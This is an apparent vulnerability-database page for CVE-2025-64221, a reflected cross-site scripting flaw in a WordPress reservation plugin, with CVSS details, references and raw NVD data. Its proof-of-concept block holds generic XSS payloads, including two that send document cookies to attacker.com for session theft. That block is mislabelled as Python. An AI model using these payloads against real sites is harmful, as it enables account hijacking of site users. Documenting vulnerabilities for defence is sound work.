CVE-2025-64221

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in designthemes Reservation Plugin dt-reservation-plugin allows Reflected XSS.This issue affects Reservation Plugin: from n/a through <= 1.6.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

dt-reservation-plugin <= 1.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-64221 Reflected XSS PoC -->
<!-- Target: WordPress Reservation Plugin (dt-reservation-plugin) <= 1.6 -->

<!-- Basic XSS PoC - Inject via URL parameter -->
<script>alert(document.cookie)</script>

<!-- Event handler based XSS PoC -->
<img src=x onerror=alert('XSS')>

<!-- Full exploitation scenario -->
<!-- Attacker crafts malicious URL with XSS payload -->
<!-- Example: https://vulnerable-site.com/wp-admin/admin.php?page=dt-reservation&param=<script>alert(document.cookie)</script> -->

<!-- Cookie stealing payload -->
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

<!-- Session hijacking payload -->
<script>document.location='https://attacker.com/hijack?session='+btoa(document.cookie)</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64221
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64221
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64221/
[4] VulDB https://vuldb.com/cve/CVE-2025-64221
[5] https://patchstack.com/database/Wordpress/Plugin/dt-reservation-plugin/vulnerability/wordpress-reservation-plugin-plugin-1-6-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64221", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:11.903", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in designthemes Reservation Plugin dt-reservation-plugin allows Reflected XSS.This issue affects Reservation Plugin: from n/a through <= 1.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/dt-reservation-plugin/vulnerability/wordpress-reservation-plugin-plugin-1-6-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}